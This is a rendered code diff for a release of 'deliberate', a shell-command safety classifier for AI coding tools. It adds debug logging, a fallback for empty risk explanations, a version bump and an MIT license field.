1386
|
# Run SDK script
|
|
1387
|
+
debug("Running SDK script...")
|
|
1448
1388
|
result = subprocess.run(
|
|
1449
1389
|
["python3", script_path],
|
|
1450
1390
|
capture_output=True,
|
|
@@ -1454,11 +1394,14 @@ asyncio.run(main())
|
|
|
1454
1394
|
|
|
1455
1395
|
os.unlink(script_path)
|
|
1456
1396
|
|
|
1397
|
+
debug(f"SDK returncode: {result.returncode}")
|
|
1398
|
+
debug(f"SDK stderr: {result.stderr[:500] if result.stderr else 'none'}")
|
|
1457
1399
|
if result.returncode != 0:
|
|
1458
1400
|
debug(f"SDK script failed: {result.stderr}")
|
|
1459
1401
|
return None
|
|
1460
1402
|
|
|
1461
1403
|
content = result.stdout.strip()
|
|
1404
|
+
debug(f"SDK stdout (first 200 chars): {content[:200]}")
|
|
1462
1405
|
|
|
1463
1406
|
# Parse the response
|
|
1464
1407
|
risk = "MODERATE"
|
|
@@ -1602,6 +1545,13 @@ def main():
|
|
|
1602
1545
|
risk = llm_result["risk"]
|
|
1603
1546
|
explanation = llm_result["explanation"]
|
|
1604
1547
|
|
|
1548
|
+
# Guard against None/empty explanation - fall back to classifier reason or generic message
|
|
1549
|
+
if not explanation or explanation == "None":
|
|
1550
|
+
if classifier_result and classifier_result.get("reason"):
|
|
1551
|
+
explanation = classifier_result.get("reason")
|
|
1552
|
+
else:
|
|
1553
|
+
explanation = "Review command before proceeding"
|
|
1554
|
+
|
|
1605
1555
|
# NOTE: Deduplication is handled AFTER block/allow decision
|
|
1606
1556
|
# We moved it below to prevent blocked commands from being allowed on retry
|
|
1607
1557
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "deliberate",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"description": "Safety layer for agentic coding tools - classifies shell commands before execution",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
|
@@ -43,7 +43,7 @@
|
|
|
43
43
|
"command-analysis"
|
|
44
44
|
],
|
|
45
45
|
"author": "Deliberate",
|
|
46
|
-
"license": "
|
|
46
|
+
"license": "MIT",
|
|
47
47
|
"repository": {
|
|
48
48
|
"type": "git",
|
|
49
49
|
"url": "https://github.com/the-radar/deliberate"
|